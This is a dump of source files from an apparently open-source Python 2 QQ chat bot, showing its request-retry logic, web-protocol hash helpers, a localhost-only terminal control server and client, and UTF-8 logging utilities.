result.get('result', result) 518 | else: 519 | nDE += 1 520 | errorInfo = '请求被拒绝错误' 521 | 522 | # 出现网络错误、超时、 URL 地址错误可以多试几次 523 | # 若网络没有问题但 retcode 有误,一般连续 3 次都出错就没必要再试了 524 | if nCE < 5 and nTO < 20 and nUE < 5 and nDE <= repeateOnDeny: 525 | DEBUG('第%d次请求“%s”时出现“%s”, html=%s', 526 | nCE+nTO+nUE+nDE, url, errorInfo, repr(html)) 527 | time.sleep(0.5) 528 | elif nTO == 20 and timeoutRetVal: # by @killerhack 529 | return timeoutRetVal 530 | else: 531 | CRITICAL('第%d次请求“%s”时出现“%s”', 532 | nCE+nTO+nUE+nDE, url, errorInfo) 533 | raise QSession.Error 534 | 535 | def qHash(x, K): 536 | N = [0] * 4 537 | for T in range(len(K)): 538 | N[T%4] ^= ord(K[T]) 539 | 540 | U, V = 'ECOK', [0] * 4 541 | V[0] = ((x >> 24) & 255) ^ ord(U[0]) 542 | V[1] = ((x >> 16) & 255) ^ ord(U[1]) 543 | V[2] = ((x >> 8) & 255) ^ ord(U[2]) 544 | V[3] = ((x >> 0) & 255) ^ ord(U[3]) 545 | 546 | U1 = [0] * 8 547 | for T in range(8): 548 | U1[T] = N[T >> 1] if T % 2 == 0 else V[T >> 1] 549 | 550 | N1, V1 = '0123456789ABCDEF', '' 551 | for aU1 in U1: 552 | V1 += N1[((aU1 >> 4) & 15)] 553 | V1 += N1[((aU1 >> 0) & 15)] 554 | 555 | return V1 556 | 557 | def bknHash(skey, init_str=5381): 558 | hash_str = init_str 559 | for i in skey: 560 | hash_str += (hash_str << 5) + ord(i) 561 | hash_str = int(hash_str & 2147483647) 562 | return hash_str 563 | 564 | if __name__ == '__main__': 565 | session, contacts = QLogin(conf=QConf()) 566 | -------------------------------------------------------------------------------- /qqbot/qsession.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/qqbot/qsession.pyc -------------------------------------------------------------------------------- /qqbot/qterm.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import sys, socket, time 4 | 5 | try: 6 | import readline 7 | except ImportError: 8 | pass 9 | 10 | from common import CallInNewConsole 11 | from utf8logger import INFO, WARN, RAWINPUT, PRINT 12 | from messagefactory import MessageFactory, Message 13 | 14 | HOST, DEFPORT = '127.0.0.1', 8188 15 | 16 | class QTermServer: 17 | def __init__(self, port): 18 | self.port = port 19 | 20 | def Run(self): 21 | try: 22 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 23 | self.sock.bind((HOST, self.port)) 24 | self.sock.listen(5) 25 | except socket.error as e: 26 | WARN('无法开启 QQBot term 服务器。%s', e) 27 | else: 28 | time.sleep(0.1) 29 | INFO('已在 %s 端口开启 QQBot-Term 服务器', self.port) 30 | if CallInNewConsole(['python', __file__, str(self.port)]) != 0: 31 | WARN('无法自动打开新控制台运行 QTerm 客户端,' 32 | '请手动打开新控制台并运行 qterm %s 命令', self.port) 33 | 34 | while True: 35 | try: 36 | sock, addr = self.sock.accept() 37 | except socket.error: 38 | WARN('QQBot-Term 服务器出现 accept 错误') 39 | else: 40 | name = 'QTerm 客户端<%s:%s>' % addr 41 | sock.settimeout(5.0) 42 | try: 43 | data = sock.recv(1024) 44 | except socket.error: 45 | sock.close() 46 | else: 47 | INFO('来自 %s 的消息:%s', name, data) 48 | yield TermMessage(name, sock, data) 49 | 50 | def processMsg(self, factory, msg): 51 | if msg.content == 'stop': 52 | msg.Reply('QQBot已停止') 53 | factory.Stop() 54 | else: 55 | msg.Reply('Hello, ' + msg.content) 56 | 57 | def Test(self): 58 | factory = MessageFactory() 59 | factory.On('termmessage', self.processMsg) 60 | factory.AddGenerator(self.Run) 61 | factory.Run() 62 | 63 | class TermMessage(Message): 64 | mtype = 'termmessage' 65 | 66 | def __init__(self, name, sock, content): 67 | self.name = name 68 | self.sock = sock 69 | self.content = content 70 | 71 | def Reply(self, rep): 72 | try: 73 | self.sock.sendall(rep and str(rep) or '\r\n') 74 | INFO('已向 %s 回复消息', self.name) 75 | except socket.error: 76 | WARN('回复 %s 失败', self.name) 77 | finally: 78 | self.sock.close() 79 | 80 | def qterm(port): 81 | req = 'help' 82 | while req != 'quit': 83 | if req: 84 | resp = query(port, req) 85 | if not resp: 86 | RAWINPUT('与 QQBot term 服务器的连接已断开,按回车键退出') 87 | break 88 | if resp == 'QQBot已停止': 89 | RAWINPUT('QQBot已停止,按回车键退出') 90 | break 91 | resp = resp.strip() 92 | while True: 93 | front, resp = partition(resp) 94 | if resp: 95 | RAWINPUT(front+'...') 96 | else: 97 | resp = front 98 | break 99 | else: 100 | resp = '' 101 | 102 | if resp: 103 | req = RAWINPUT(resp+'\nqterm>> ').strip() 104 | else: 105 | req = RAWINPUT('qterm>> ').strip() 106 | 107 | def partition(s): 108 | n = len(s) 109 | if n <= 800: 110 | return s, '' 111 | else: 112 | for i in range(800, min(n, 900)): 113 | if s[i] == '\n': 114 | i += 1 115 | break 116 | return s[:i], s[i:] 117 | 118 | def query(port, req): 119 | resp = '' 120 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 121 | try: 122 | sock.connect((HOST, port)) 123 | sock.sendall(req) 124 | while True: 125 | data = sock.recv(8096) 126 | if not data: 127 | return resp 128 | resp += data 129 | except socket.error: 130 | return resp 131 | finally: 132 | sock.close() 133 | 134 | def QTerm(): 135 | # python qterm.py -s 136 | # python qterm.py [PORT] [COMMAND] 137 | try: 138 | if len(sys.argv) == 2 and sys.argv[1] == '-s': 139 | QTermServer(DEFPORT).Test() 140 | else: 141 | if len(sys.argv) >= 2 and sys.argv[1].isdigit(): 142 | port = int(sys.argv[1]) 143 | command = ' '.join(sys.argv[2:]) 144 | else: 145 | port = DEFPORT 146 | command = ' '.join(sys.argv[1:]) 147 | 148 | if not command: 149 | qterm(port) 150 | else: 151 | coding = sys.getfilesystemencoding() 152 | PRINT(query(port, command.decode(coding).encode('utf8'))) 153 | except KeyboardInterrupt: 154 | pass 155 | 156 | if __name__ == '__main__': 157 | QTerm() 158 | -------------------------------------------------------------------------------- /qqbot/qterm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/qqbot/qterm.pyc -------------------------------------------------------------------------------- /qqbot/utf8logger.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import sys, logging 4 | 5 | def equalUtf8(coding): 6 | return coding is None or coding.lower() in ('utf8', 'utf-8', 'utf_8') 7 | 8 | class CodingWrappedWriter: 9 | def __init__(self, coding, writer): 10 | self.flush = getattr(writer, 'flush', lambda : None) 11 | 12 | wcoding = getattr(writer, 'encoding', None) 13 | wcoding = 'gb18030' if (wcoding in ('gbk', 'cp936')) else wcoding 14 | 15 | if not equalUtf8(wcoding): 16 | self._write = lambda s: writer.write( 17 | s.decode(coding).encode(wcoding, 'ignore') 18 | ) 19 | else: 20 | self._write = writer.write 21 | 22 | def write(self, s): 23 | self._write(s) 24 | self.flush() 25 | 26 | 27 | # utf8Stdout.write("中文") <==> 28 | # sys.stdout.write("中文".decode('utf8').encode(sys.stdout.encoding)) 29 | utf8Stdout = CodingWrappedWriter('utf8', sys.stdout) 30 | 31 | def Utf8Logger(name): 32 | logger = logging.getLogger(name) 33 | if not logger.handlers: 34 | logger.setLevel(logging.INFO) 35 | ch = logging.StreamHandler(utf8Stdout) 36 | fmt = '[%(asctime)s] [%(levelname)s] %(message)s' 37 | datefmt = '%Y-%m-%d %H:%M:%S' 38 | ch.setFormatter(logging.Formatter(fmt, datefmt)) 39 | logger.addHandler(ch) 40 | return logger 41 | 42 | logging.getLogger("").setLevel(logging.CRITICAL) 43 | 44 | utf8Logger = Utf8Logger('Utf8Logger') 45 | 46 | def SetLogLevel(level): 47 | utf8Logger.setLevel(getattr(logging, level.upper())) 48 | 49 | def DisableLog(): 50 | utf8Logger.disabled = True 51 | 52 | def EnableLog(): 53 | utf8Logger.disabled = False 54 | 55 | _thisDict = globals() 56 | 57 | for name in ('CRITICAL', 'ERROR', 'WARN', 'INFO', 'DEBUG'): 58 | _thisDict[name] = getattr(utf8Logger, name.lower()) 59 | 60 | def RAWINPUT(msg): 61 | utf8Stdout.write(msg) 62 | s = raw_input('').rstrip() 63 | if not equalUtf8(sys.stdin.encoding): 64 | s = s.decode(sys.stdin.encoding).encode('utf8') 65 | return s 66 | 67 | PRINT = lambda s: utf8Stdout.write(s + '\n') 68 | -------------------------------------------------------------------------------- /qqbot/utf8logger.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/qqbot/utf8logger.pyc --------------------------------------------------------------------------------